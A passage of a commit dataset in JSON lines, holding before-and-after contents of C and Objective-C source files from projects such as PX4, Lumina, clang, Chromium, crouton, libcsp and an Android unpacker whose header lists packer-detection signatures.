*\/\nORB_DECLARE(sensor_differential_pressure);\n\n\/*\n * ioctl() definitions\n *\n * Airspeed drivers also implement the generic sensor driver\n * interfaces from drv_sensor.h\n *\/\n\n#define _AIRSPEEDIOCBASE\t\t\t(0x7700)\n#define __AIRSPEEDIOC(_n)\t\t(_IOC(_AIRSPEEDIOCBASE, _n))\n\n\n#endif \/* _DRV_AIRSPEED_H *\/\n","subject":"Add in the missing header.","message":"Add in the missing header.\n","lang":"C","license":"bsd-3-clause","repos":"krbeverx\/Firmware,PX4\/Firmware,mcgill-robotics\/Firmware,dagar\/Firmware,dagar\/Firmware,krbeverx\/Firmware,mcgill-robotics\/Firmware,PX4\/Firmware,Aerotenna\/Firmware,acfloria\/Firmware,Aerotenna\/Firmware,mcgill-robotics\/Firmware,dagar\/Firmware,krbeverx\/Firmware,dagar\/Firmware,acfloria\/Firmware,Aerotenna\/Firmware,mje-nz\/PX4-Firmware,darknight-007\/Firmware,krbeverx\/Firmware,PX4\/Firmware,mje-nz\/PX4-Firmware,acfloria\/Firmware,mje-nz\/PX4-Firmware,mcgill-robotics\/Firmware,PX4\/Firmware,mje-nz\/PX4-Firmware,jlecoeur\/Firmware,jlecoeur\/Firmware,krbeverx\/Firmware,jlecoeur\/Firmware,krbeverx\/Firmware,mje-nz\/PX4-Firmware,acfloria\/Firmware,darknight-007\/Firmware,dagar\/Firmware,mcgill-robotics\/Firmware,dagar\/Firmware,acfloria\/Firmware,Aerotenna\/Firmware,mcgill-robotics\/Firmware,mcgill-robotics\/Firmware,acfloria\/Firmware,darknight-007\/Firmware,acfloria\/Firmware,mje-nz\/PX4-Firmware,jlecoeur\/Firmware,jlecoeur\/Firmware,Aerotenna\/Firmware,PX4\/Firmware,Aerotenna\/Firmware,darknight-007\/Firmware,mje-nz\/PX4-Firmware,PX4\/Firmware,krbeverx\/Firmware,dagar\/Firmware,darknight-007\/Firmware,Aerotenna\/Firmware,jlecoeur\/Firmware,jlecoeur\/Firmware,PX4\/Firmware,jlecoeur\/Firmware"}
{"commit":"3ca41de3333f47071289b6398a3f8c677dbdab89","old_file":"src-qt5\/desktop-utils\/lumina-fm\/gitCompat.h","new_file":"src-qt5\/desktop-utils\/lumina-fm\/gitCompat.h","old_contents":"","new_contents":"\/\/===========================================\n\/\/  Lumina-DE source code\n\/\/  Copyright (c) 2016, Ken Moore\n\/\/  Available under the 3-clause BSD license\n\/\/  See the LICENSE file for full details\n\/\/===========================================\n\/\/  This is the backend classe for interacting with the \"git\" utility\n\/\/===========================================\n#ifdef _LUMINA_FM_GIT_COMPAT_H\n#define _LUMINA_FM_GIT_COMPAT_H\n\n#include <QProcess>\n#include <QString>\n#include <QProcessEnvironment>\n\n#include <LuminaUtils.h>\n\nclass GIT{\npublic:\n\t\/\/Check if the git utility is installed and available\n\tstatic bool isAvailable(){\n\t  QString bin = \"git\"\n\t  return isValidBinary(bin);\n\t}\n\n\t\/\/Return if the current directory is a git repository\n\tstatic bool isRepo(QString dir){\n\t  QProcess P;\n\t  P.setProcessEnvironment(QProcessEnvironment::systemEnvironment());\n\t  P.setWorkingDirectory(dir);\n\t  P.exec(\"git\",QStringList() <<\"status\" << \"--porcelain\" );\n          return (0==P.exitCode());\n\t}\n\n\t\/\/Return the current status of the repository\n\tstatic QString status(QString dir){\n\t  QProcess P;\n\t  P.setProcessEnvironment(QProcessEnvironment::systemEnvironment());\n\t  P.setWorkingDirectory(dir);\n\t  P.setProcessChannelMode(QProcess::MergedChannels);\n\t  P.exec(\"git\",QStringList() <<\"status\" );\n          return P.readAllStandardOutput();\t  \n\t}\n\n\t\/\/Setup a process for running the clone operation (so the calling process can hook up any watchers and start it when ready)\n\tstatic QProcess setupClone(QString indir, QString url, QString branch = \"\", int depth = -1){\n          QProcess P;\n\t  P.setProcessEnvironment( QProcessEnvironment::systemEnvironment() );\n\t  P.setWorkingDirectory(indir);\n\t  P.setProgram(\"git\");\n          QStringList args;\n\t    args << \"clone\";\n\t    if(!branch.isEmpty()){ args << \"-b\" << branch; }\n\t    if(depth>0){ args << \"--depth\" << QString::number(depth); }\n\t    args << url;\n\t  P.setArguments(args);\n \t  return P;\n\t}\n};\n#endif\n","subject":"Add the backend class\/functions for using GIT within lumina-fm.","message":"Add the backend class\/functions for using GIT within lumina-fm.\n","lang":"C","license":"bsd-3-clause","repos":"trueos\/lumina,cpforbes\/lumina,sasongko26\/lumina,sasongko26\/lumina,pcbsd\/lumina,trueos\/lumina,sasongko26\/lumina,Nanolx\/lumina,harcobbit\/lumina,cpforbes\/lumina,sasongko26\/lumina,harcobbit\/lumina,harcobbit\/lumina,sasongko26\/lumina,trueos\/lumina,sasongko26\/lumina,trueos\/lumina,cpforbes\/lumina,trueos\/lumina,cpforbes\/lumina,Nanolx\/lumina,cpforbes\/lumina,pcbsd\/lumina,cpforbes\/lumina,Nanolx\/lumina,trueos\/lumina,cpforbes\/lumina,trueos\/lumina,pcbsd\/lumina,trueos\/lumina,sasongko26\/lumina,cpforbes\/lumina,sasongko26\/lumina"}
{"commit":"21bab842fb9e25fa8be50ae065090fef514fefed","old_file":"test\/Sema\/incomplete-call.c","new_file":"test\/Sema\/incomplete-call.c","old_contents":"","new_contents":"\/\/ RUN: clang -fsyntax-only -verify %s\n\nstruct foo; \/\/ expected-note 3 {{forward declaration of 'struct foo'}}\n\nstruct foo a();\nvoid b(struct foo);\nvoid c();\n\nvoid func() {\n  a(); \/\/ expected-error{{return type of called function ('struct foo') is incomplete}}\n  b(*(struct foo*)0); \/\/ expected-error{{argument type 'struct foo' is incomplete}}\n  c(*(struct foo*)0); \/\/ expected-error{{argument type 'struct foo' is incomplete}}\n}\n","subject":"Add testcase for incomplete call\/return types for calls.","message":"Add testcase for incomplete call\/return types for calls.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@67486 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"9cabd0a776f968311e47295daab61050caaea5dc","old_file":"third_party\/vulkan\/loader\/vk_loader_layer.h","new_file":"third_party\/vulkan\/loader\/vk_loader_layer.h","old_contents":"","new_contents":"\/*\n*\n* Copyright (c) 2016 The Khronos Group Inc.\n* Copyright (c) 2016 Valve Corporation\n* Copyright (c) 2016 LunarG, Inc.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n* Author: Mark Lobodzinski <mark@lunarg.com>\n*\n*\/\n#pragma once\n\n\/\/ Linked list node for tree of debug callback functions\ntypedef struct VkLayerDbgFunctionNode_ {\n    VkDebugReportCallbackEXT msgCallback;\n    PFN_vkDebugReportCallbackEXT pfnMsgCallback;\n    VkFlags msgFlags;\n    void *pUserData;\n    struct VkLayerDbgFunctionNode_ *pNext;\n} VkLayerDbgFunctionNode;\n\n","subject":"Include every single file in the vulkan update.","message":"Include every single file in the vulkan update.\n","lang":"C","license":"bsd-3-clause","repos":"sabretooth\/xenia,maxton\/xenia,ObsidianGuardian\/xenia,sephiroth99\/xenia,sabretooth\/xenia,sabretooth\/xenia,sephiroth99\/xenia,maxton\/xenia,maxton\/xenia,ObsidianGuardian\/xenia,sephiroth99\/xenia,ObsidianGuardian\/xenia"}
{"commit":"acadbfb90a54673d6c8b05aa4e93218433890411","old_file":"arch\/alpha\/include\/asm\/bug.h","new_file":"arch\/alpha\/include\/asm\/bug.h","old_contents":"#ifndef _ALPHA_BUG_H\n#define _ALPHA_BUG_H\n\n#include <linux\/linkage.h>\n\n#ifdef CONFIG_BUG\n#include <asm\/pal.h>\n\n\/* ??? Would be nice to use .gprel32 here, but we can't be sure that the\n   function loaded the GP, so this could fail in modules.  *\/\n#define BUG()\tdo {\t\t\t\t\t\t\t\\\n\t__asm__ __volatile__(\t\t\t\t\t\t\\\n\t\t\"call_pal %0  # bugchk\\n\\t\"\t\t\t\t\\\n\t\t\".long %1\\n\\t.8byte %2\"\t\t\t\t\t\\\n\t\t: : \"i\"(PAL_bugchk), \"i\"(__LINE__), \"i\"(__FILE__));\t\\\n\tfor ( ; ; ); } while (0)\n\n#define HAVE_ARCH_BUG\n#endif\n\n#include <asm-generic\/bug.h>\n\n#endif\n","new_contents":"#ifndef _ALPHA_BUG_H\n#define _ALPHA_BUG_H\n\n#include <linux\/linkage.h>\n\n#ifdef CONFIG_BUG\n#include <asm\/pal.h>\n\n\/* ??? Would be nice to use .gprel32 here, but we can't be sure that the\n   function loaded the GP, so this could fail in modules.  *\/\n#define BUG()\tdo {\t\t\t\t\t\t\t\\\n\t__asm__ __volatile__(\t\t\t\t\t\t\\\n\t\t\"call_pal %0  # bugchk\\n\\t\"\t\t\t\t\\\n\t\t\".long %1\\n\\t.8byte %2\"\t\t\t\t\t\\\n\t\t: : \"i\"(PAL_bugchk), \"i\"(__LINE__), \"i\"(__FILE__));\t\\\n\tunreachable();\t\t\t\t\t\t\t\\\n  } while (0)\n\n#define HAVE_ARCH_BUG\n#endif\n\n#include <asm-generic\/bug.h>\n\n#endif\n","subject":"Convert BUG() to use unreachable()","message":"alpha: Convert BUG() to use unreachable()\n\nUse the new unreachable() macro instead of for(;;);\n\nSigned-off-by: David Daney <0662de36cfb0706ed279bff52abef14720945acc@caviumnetworks.com>\nCC: Richard Henderson <aea4fd857e97ee7d33f60175ba9388a955b9d916@twiddle.net>\nCC: Ivan Kokshaysky <ec437ab60af367f0fec0f6a3cd47f9cbad7b487f@jurassic.park.msu.ru>\nCC: 92b16e4f8d3bce14a77cfee1aa13cdb592ef5039@vger.kernel.org\nSigned-off-by: Matt Turner <789b315743a28dd066a4ba1459c35951c291d8a6@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"2536840398104b0270ba1156b1ff63cb4ae2a2ef","old_file":"AsynchFilePlugin\/AsynchFilePlugin.h","new_file":"AsynchFilePlugin\/AsynchFilePlugin.h","old_contents":"\/* Header file for AsynchFile plugin *\/\n\/* module initialization\/shutdown *\/\nint asyncFileInit(void);\nint asyncFileShutdown(void);\n\n\/*** Experimental Asynchronous File I\/O ***\/\ntypedef struct {\n\tint\t\t\tsessionID;\n\tvoid\t\t*state;\n} AsyncFile;\n\nint asyncFileClose(AsyncFile *f);\nint asyncFileOpen(AsyncFile *f, long fileNamePtr, int fileNameSize, int writeFlag, int semaIndex);\nint asyncFileRecordSize();\nint asyncFileReadResult(AsyncFile *f, long bufferPtr, int bufferSize);\nint asyncFileReadStart(AsyncFile *f, int fPosition, int count);\nint asyncFileWriteResult(AsyncFile *f);\nint asyncFileWriteStart(AsyncFile *f, int fPosition, long bufferPtr, int bufferSize);\n","new_contents":"\/* Header file for AsynchFile plugin *\/\n\/* module initialization\/shutdown *\/\nint asyncFileInit(void);\nint asyncFileShutdown(void);\n\n\/*** Experimental Asynchronous File I\/O ***\/\ntypedef struct {\n\tint\t\t\tsessionID;\n\tvoid\t\t*state;\n} AsyncFile;\n\nint asyncFileClose(AsyncFile *f);\nint asyncFileOpen(AsyncFile *f, char *fileNamePtr, int fileNameSize, int writeFlag, int semaIndex);\nint asyncFileRecordSize();\nint asyncFileReadResult(AsyncFile *f, void *bufferPtr, int bufferSize);\nint asyncFileReadStart(AsyncFile *f, int fPosition, int count);\nint asyncFileWriteResult(AsyncFile *f);\nint asyncFileWriteStart(AsyncFile *f, int fPosition, void *bufferPtr, int bufferSize);\n","subject":"Update platforms\/* with Eliot's fixes for 64-bit clean AsyncPlugin.","message":"Update platforms\/* with Eliot's fixes for 64-bit clean AsyncPlugin.\n\nThe platforms\/unix changes are tested. The win32 and Mac OS changes are not tested but I believe them to be correct.\nNot applicable to RiscOS.\nUpdates not applied to iOS.\n\n@eliot - I changed the declarations in Cross to (void *) rather than long to reduce type casts in platforms\/[unix|win32|Mac OS].\n\n@esteban - I did not update platforms\/iOS in SVN trunk. Please update declarations as needed.\n\n@tim - no change required for RiscOS.\n\n\n\ngit-svn-id: http:\/\/squeakvm.org\/svn\/squeak\/trunk@3178 fa1542d4-bde8-0310-ad64-8ed1123d492a\n\nFormer-commit-id: 55982481b07c41df485b88dff5a63920f92525d0","lang":"C","license":"mit","repos":"bencoman\/pharo-vm,peteruhnak\/pharo-vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,timfel\/squeakvm,OpenSmalltalk\/vm,bencoman\/pharo-vm,bencoman\/pharo-vm,bencoman\/pharo-vm,timfel\/squeakvm,timfel\/squeakvm,bencoman\/pharo-vm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,timfel\/squeakvm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,timfel\/squeakvm,peteruhnak\/pharo-vm,timfel\/squeakvm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm,peteruhnak\/pharo-vm,timfel\/squeakvm,timfel\/squeakvm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm"}
{"commit":"d7f2d994baaa83db932dbb1a0b8a31a717af1103","old_file":"src\/badgewars.c","new_file":"src\/badgewars.c","old_contents":"#include <badgewars.h>\n#include <stdio.h>\n\n\/* Initialize the BadgeWars world *\/\nvoid bw_init(struct bw_world *world)\n{\n    puts(\"bw_init requested\");\n}\n\n\/* Run the BadgeWars world for a single instruction *\/\nint bw_run(struct bw_world *world)\n{\n    puts(\"bw_run requested\");\n    return 0;\n}\n\n\/* Receive a BadgeWars command from the outside world *\/\nvoid bw_receive(struct bw_world *world, OPCODE command, void *addr, void(*send_response)(int, void *))\n{\n    printf(\"bw_receive got op: %d\\n\", command.op);\n}\n\n\/* Peek into the core state *\/\nCELL bw_peek(struct bw_world *world, CELLPTR addr)\n{\n    printf(\"bw_peek(%d) called\\n\", addr);\n    return 0;\n}","new_contents":"#include <badgewars.h>\n#include <string.h>\n\n\/* Initialize the BadgeWars world *\/\nvoid bw_init(struct bw_world *world)\n{\n    memset(&world->core, 0, sizeof(world->core));\n    world->queue_head = world->queue_tail = 0;\n}\n\n\/* Run the BadgeWars world for a single instruction *\/\nint bw_run(struct bw_world *world)\n{\n    return 0;\n}\n\n\/* Receive a BadgeWars command from the outside world *\/\nvoid bw_receive(struct bw_world *world, OPCODE command, void *addr, void(*send_response)(int, void *))\n{\n}\n\n\/* Peek into the core state *\/\nCELL bw_peek(struct bw_world *world, CELLPTR addr)\n{\n    return world->core[addr];\n}","subject":"Initialize the world state to zero","message":"Initialize the world state to zero\n","lang":"C","license":"mit","repos":"tarcieri\/BadgeWars,tarcieri\/BadgeWars"}
{"commit":"822b9fd29f6ce8b69dc2705f04cae44fbb3e78f7","old_file":"webkit\/glue\/plugins\/ppb_private.h","new_file":"webkit\/glue\/plugins\/ppb_private.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n#define WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n\n#include \"ppapi\/c\/pp_var.h\"\n\n#define PPB_PRIVATE_INTERFACE \"PPB_Private;1\"\n\ntypedef enum _ppb_ResourceString {\n  PPB_RESOURCE_STRING_PDF_GET_PASSWORD = 0,\n} PP_ResourceString;\n\ntypedef struct _ppb_Private {\n  \/\/ Returns a localized string.\n  PP_Var (*GetLocalizedString)(PP_ResourceString string_id);\n} PPB_Private;\n\n#endif  \/\/ WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n#define WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n\n#include \"third_party\/ppapi\/c\/pp_var.h\"\n\n#define PPB_PRIVATE_INTERFACE \"PPB_Private;1\"\n\ntypedef enum _ppb_ResourceString {\n  PPB_RESOURCE_STRING_PDF_GET_PASSWORD = 0,\n} PP_ResourceString;\n\ntypedef struct _ppb_Private {\n  \/\/ Returns a localized string.\n  PP_Var (*GetLocalizedString)(PP_ResourceString string_id);\n} PPB_Private;\n\n#endif  \/\/ WEBKIT_GLUE_PLUGINS_PPB_PRIVATE_H_\n","subject":"Add third_party\/ prefix to ppapi include for checkdeps.","message":"Add third_party\/ prefix to ppapi include for checkdeps.\n\nThe only users of this ppb should be inside chrome so this should work fine.\n\nTBR=jam@chromium.org\n\nReview URL: http:\/\/codereview.chromium.org\/3019006\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@52766 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: b5583121378597058f8f083243d2299fd262e509","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"e2a6ce53ab445fd8976923171e78bd0e46db2407","old_file":"src\/mapraised.c","new_file":"src\/mapraised.c","old_contents":"\/* Copyright (c) 2013 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * Maps and raises the specified window id (integer).\n *\/\n\n#include <X11\/Xlib.h>\n#include <stdlib.h>\n\nint main(int argc, char** argv) {\n    if (argc != 2) return 2;\n    Display* display = XOpenDisplay(NULL);\n    if (!display) return 1;\n    XMapRaised(display, atoi(argv[1]));\n    XCloseDisplay(display);\n    return 0;\n}\n","new_contents":"\/* Copyright (c) 2013 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * Maps and raises the specified window id (integer).\n *\/\n\n\/* TODO: use XResizeWindow to do the +1 width ratpoison hack.\n * And at this point, we might as well use XMoveResizeWindow, rename this to\n * wmtool and unmap the previously-mapped window, and perhaps call the\n * equivalent of XRefresh, eliminating the need for ratpoison entirely (!!).\n *\/\n\n#include <X11\/Xlib.h>\n#include <stdlib.h>\n\nint main(int argc, char** argv) {\n    if (argc != 2) return 2;\n    Display* display = XOpenDisplay(NULL);\n    if (!display) return 1;\n    XMapRaised(display, atoi(argv[1]));\n    XCloseDisplay(display);\n    return 0;\n}\n","subject":"Add TODO to replace ratpoison.","message":"Add TODO to replace ratpoison.\n","lang":"C","license":"bsd-3-clause","repos":"nromsdahl\/crouton,twmccart\/crouton,VandeurenGlenn\/crouton,Timvrakas\/crouton,stephen-soltesz\/crouton,fxcebx\/crouton,arbuztw\/crouton,StrawnPoint04\/crouton,Timvrakas\/crouton,ikaritw\/crouton,tonyxue\/cruise,rperce\/chroagh,armgong\/chroagh,JDGBOLT\/chroagh,arbuztw\/crouton,Timvrakas\/crouton,jamgregory\/crouton,taterbase\/crouton,arbuztw\/crouton,StrawnPoint04\/crouton,mkasick\/crouton,DanDanBu\/crouton,ikaritw\/crouton,marriop\/newCrouton,dragon788\/chroagh,VandeurenGlenn\/crouton,rperce\/chroagh,mkasick\/crouton,elkangaroo\/chroagh,armgong\/chroagh,rperce\/chroagh,zofuthan\/crouton,marriop\/newCrouton,jamgregory\/crouton,VandeurenGlenn\/crouton,DanDanBu\/crouton,StrawnPoint04\/crouton,twmccart\/crouton,jamgregory\/crouton,tonyxue\/cruise,dragon788\/chroagh,armgong\/chroagh,nromsdahl\/crouton,nromsdahl\/crouton,nromsdahl\/crouton,elkangaroo\/chroagh,tonyxue\/cruise,twmccart\/crouton,ikaritw\/crouton,brayniac\/crouton,VandeurenGlenn\/crouton,armgong\/chroagh,fxcebx\/crouton,ikaritw\/crouton,arbuztw\/crouton,elkangaroo\/chroagh,stephen-soltesz\/crouton,VandeurenGlenn\/crouton,tedm\/crouton,jamgregory\/crouton,dragon788\/chroagh,tedm\/crouton,zofuthan\/crouton,armgong\/chroagh,JDGBOLT\/chroagh,jamgregory\/crouton,StrawnPoint04\/crouton,taterbase\/crouton,ikaritw\/crouton,brayniac\/crouton,tedm\/crouton,arbuztw\/crouton,djmrr\/crouton,mkasick\/crouton,DanDanBu\/crouton,brayniac\/crouton,stephen-soltesz\/crouton,mkasick\/crouton,fxcebx\/crouton,StrawnPoint04\/crouton,elkangaroo\/chroagh,stephen-soltesz\/crouton,armgong\/chroagh,taterbase\/crouton,dnschneid\/crouton,arbuztw\/crouton,rperce\/chroagh,VandeurenGlenn\/crouton,Timvrakas\/crouton,tonyxue\/cruise,twmccart\/crouton,dnschneid\/crouton,dnschneid\/crouton,tedm\/crouton,dnschneid\/crouton,mkasick\/crouton,taterbase\/crouton,ikaritw\/crouton,taterbase\/crouton,taterbase\/crouton,rperce\/chroagh,tonyxue\/cruise,zofuthan\/crouton,nromsdahl\/crouton,dragon788\/chroagh,JDGBOLT\/chroagh,djmrr\/crouton,djmrr\/crouton,nromsdahl\/crouton,djmrr\/crouton,JDGBOLT\/chroagh,fxcebx\/crouton,tonyxue\/cruise,brayniac\/crouton,Timvrakas\/crouton,mkasick\/crouton,DanDanBu\/crouton,fxcebx\/crouton,marriop\/newCrouton,zofuthan\/crouton,zofuthan\/crouton,twmccart\/crouton,elkangaroo\/chroagh,JDGBOLT\/chroagh,twmccart\/crouton,Timvrakas\/crouton,djmrr\/crouton,JDGBOLT\/chroagh,zofuthan\/crouton,DanDanBu\/crouton,stephen-soltesz\/crouton,elkangaroo\/chroagh,rperce\/chroagh,dragon788\/chroagh,dragon788\/chroagh,dnschneid\/crouton,brayniac\/crouton,brayniac\/crouton,stephen-soltesz\/crouton,DanDanBu\/crouton,fxcebx\/crouton,tedm\/crouton,tedm\/crouton,jamgregory\/crouton,dnschneid\/crouton,StrawnPoint04\/crouton,djmrr\/crouton"}
{"commit":"40373bf93e90ab4d372d149aad334dfe238c1eed","old_file":"src\/arch\/zephyr\/csp_zephyr_init.c","new_file":"src\/arch\/zephyr\/csp_zephyr_init.c","old_contents":"\n\n#include <zephyr.h>\n#include <init.h>\n#include <posix\/time.h>\n#include <csp\/csp_debug.h>\n\n#include <logging\/log.h>\nLOG_MODULE_REGISTER(libcsp);\n\nstatic void hook_func(csp_debug_level_t level, const char * format, va_list args) {\n\tuint32_t args_num = log_count_args(format);\n\n\tswitch (level) {\n\t\tcase CSP_ERROR:\n\t\t\tZ_LOG_VA(LOG_LEVEL_ERR, format, args, args_num, LOG_STRDUP_EXEC);\n\t\t\tbreak;\n\t\tcase CSP_WARN:\n\t\t\tZ_LOG_VA(LOG_LEVEL_WRN, format, args, args_num, LOG_STRDUP_EXEC);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tZ_LOG_VA(LOG_LEVEL_INF, format, args, args_num, LOG_STRDUP_EXEC);\n\t\t\tbreak;\n\t}\n}\n\nstatic int libcsp_zephyr_init(const struct device * unused) {\n\tcsp_debug_hook_set(hook_func);\n\n\tstruct timespec ts = {\n\t\t.tv_sec = 946652400,\n\t\t.tv_nsec = 0,\n\t};\n\tclock_settime(CLOCK_REALTIME, &ts);\n\n\treturn 0;\n}\n\nSYS_INIT(libcsp_zephyr_init, APPLICATION, CONFIG_APPLICATION_INIT_PRIORITY);\n","new_contents":"\n\n#include <zephyr.h>\n#include <init.h>\n#include <posix\/time.h>\n#include <csp\/csp_debug.h>\n\n#include <logging\/log.h>\nLOG_MODULE_REGISTER(libcsp);\n\n}\n\nstatic int libcsp_zephyr_init(const struct device * unused) {\n\n\tstruct timespec ts = {\n\t\t.tv_sec = 946652400,\n\t\t.tv_nsec = 0,\n\t};\n\tclock_settime(CLOCK_REALTIME, &ts);\n\n\treturn 0;\n}\n\nSYS_INIT(libcsp_zephyr_init, APPLICATION, CONFIG_APPLICATION_INIT_PRIORITY);\n","subject":"Remove debug print hook function","message":"zephyr: Remove debug print hook function\n\nDebug print facility has been removed by the commit 39d6478;\ncsp_debug_hook_set(), csp_debug_level_t, CSP_ERROR and its friends are\ngone.\n\nRemove it from Zephyr as well.\n\nSigned-off-by: Yasushi SHOJI <afa9ca3be149447780c2f7b524d61ed3d3db63f9@spacecubics.com>\n","lang":"C","license":"mit","repos":"libcsp\/libcsp,libcsp\/libcsp"}
{"commit":"ea2b22d62983758013ca528ef1325d6c191420b2","old_file":"CoreNetworking\/AFNetworkSchedule.h","new_file":"CoreNetworking\/AFNetworkSchedule.h","old_contents":"\/\/\n\/\/  AFNetworkEnvironment.h\n\/\/  CoreNetworking\n\/\/\n\/\/  Created by Keith Duncan on 05\/01\/2013.\n\/\/  Copyright (c) 2013 Keith Duncan. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"CoreNetworking\/AFNetwork-Macros.h\"\n\n\/*!\n\t\\brief\n\tSchedule environment for run loop and dispatch\n *\/\n@interface AFNetworkSchedule : NSObject {\n @package\n\tNSRunLoop *_runLoop;\n\tNSString *_runLoopMode;\n\t\n\tvoid *_dispatchQueue;\n}\n\n- (void)scheduleInRunLoop:(NSRunLoop *)runLoop forMode:(NSString *)mode;\n\n- (void)scheduleInQueue:(dispatch_queue_t)queue;\n\n@end\n","new_contents":"\/\/\n\/\/  AFNetworkEnvironment.h\n\/\/  CoreNetworking\n\/\/\n\/\/  Created by Keith Duncan on 05\/01\/2013.\n\/\/  Copyright (c) 2013 Keith Duncan. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"CoreNetworking\/AFNetwork-Macros.h\"\n\n\/*!\n\t\\brief\n\tSchedule environment for run loop and dispatch\n *\/\n@interface AFNetworkSchedule : NSObject {\n @public\n\tNSRunLoop *_runLoop;\n\tNSString *_runLoopMode;\n\t\n\tvoid *_dispatchQueue;\n}\n\n- (void)scheduleInRunLoop:(NSRunLoop *)runLoop forMode:(NSString *)mode;\n\n- (void)scheduleInQueue:(dispatch_queue_t)queue;\n\n@end\n","subject":"Make the run loop and queue @public until we enhance the scheduler API","message":"Make the run loop and queue @public until we enhance the scheduler API\n","lang":"C","license":"bsd-3-clause","repos":"ddeville\/CoreNetworking"}
{"commit":"1009adc8cf7154d19c7ffebc2e35d70722076ea8","old_file":"native-unpacker\/definitions.h","new_file":"native-unpacker\/definitions.h","old_contents":"\/*\n * Header file for the definitions of packers\/protectors\n *\n * Tim \"diff\" Strazzere <strazz@gmail.com>\n *\/\n\ntypedef struct {\n  char* name;\n  char* description;\n  char* filter;\n  char* marker;\n} packer;\n\nstatic packer packers[] = {\n\n  \/\/ APKProtect\n  {\n    \"APKProtect v1->5\",\n    \"APKProtect generialized detection\",\n    \/\/ This is actually the filter APKProtect uses itself for finding it's own odex to modify\n    \".apk@\",\n    \"\/libAPKProtect\"\n  },\n\n  \/\/ LIAPP\n  {\n    \"LIAPP 'Egg' (v1->?)\",\n    \"LockIn APP (lockincomp.com)\",\n    \"LIAPPEgg.dex\",\n    \"\/LIAPPEgg\"\n  },\n\n  \/\/ Qihoo 'Monster'\n  {\n    \"Qihoo 'Monster' (v1->?)\",\n    \"Qihoo unknown version, code named 'monster'\",\n    \"monster.dex\",\n    \"\/libprotectClass\"\n  }\n};\n","new_contents":"\/*\n * Header file for the definitions of packers\/protectors\n *\n * Tim \"diff\" Strazzere <strazz@gmail.com>\n *\/\n\ntypedef struct {\n  char* name;\n  char* description;\n  char* filter;\n  char* marker;\n} packer;\n\nstatic packer packers[] = {\n\n  \/\/ APKProtect\n  {\n    \"APKProtect v1->5\",\n    \"APKProtect generialized detection\",\n    \/\/ This is actually the filter APKProtect uses itself for finding it's own odex to modify\n    \".apk@\",\n    \"\/libAPKProtect\"\n  },\n\n  \/\/ Bangcle (??) or something equally silly\n  {\n    \"Bangcle (??) silly version\",\n    \"Something silly used by malware\",\n    \"classes.dex\",\n    \"\/app_lib\/\"\n  },\n\n  \/\/ LIAPP\n  {\n    \"LIAPP 'Egg' (v1->?)\",\n    \"LockIn APP (lockincomp.com)\",\n    \"LIAPPEgg.dex\",\n    \"\/LIAPPEgg\"\n  },\n\n  \/\/ Qihoo 'Monster'\n  {\n    \"Qihoo 'Monster' (v1->?)\",\n    \"Qihoo unknown version, code named 'monster'\",\n    \"monster.dex\",\n    \"\/libprotectClass\"\n  }\n};\n","subject":"Add detection for whatever silly protector new malware was using.","message":"Add detection for whatever silly 